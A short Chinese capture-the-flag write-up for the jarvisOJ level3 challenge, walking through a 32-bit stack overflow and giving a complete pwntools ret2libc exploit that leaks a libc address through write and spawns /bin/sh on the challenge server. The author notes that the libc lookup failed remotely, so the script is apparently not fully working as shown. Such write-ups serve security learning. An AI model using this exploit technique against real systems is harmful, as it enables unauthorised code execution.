###<center>jarvisOJ_level3(ret2libc)</center>
1. 下载源文后查看文件保护和位数

发现是 32 位程序,开启了 NX (栈不可执行)
利用 ida 反编译查看程序 C 语言代码

发现有 vul 函数进入查看

发现有 write 和 read 函数,其中 read 函数可以进行栈溢出,可以对此利用
因为没有发现后门函数,所以利用 write 泄露 libc 的地址来执行 system (/bin/sh)
exp:

from pwn import *  
	from LibcSearcher3 import *  
	context.log_level = 'debug'
	p=remote('node4.buuoj.cn',28074)
	e=ELF("./level3")
	write_plt=e.plt["write"]
	read_got=e.got["write"]
	main=e.symbols["main"]
	p.recvuntil("Input:\n")
	payload1=b"a"*(0x88+4)+p32(write_plt)+p32(main)+p32(1)+p32(read_got)+p32(4)
	p.sendline(payload1)
	#p.recvuntil("Input:\n")
	read=u32(p.recv(4))
	libc=LibcSearcher("write",read)
	libcbase=read-libc.dump("write")
	system=libcbase+libc.dump("system")
	binsh=libcbase+libc.dump("str_bin_sh")
	p.recvuntil("Input:\n")
	payload2=b"a"*(0x88+4)+p32(system)+p32(0)+p32(binsh)
	p.sendline(payload2)
	p.interactive()

此题无法用 libcsearcher 远程库找到 libc

此文章已被阅读次数:正在加载...更新于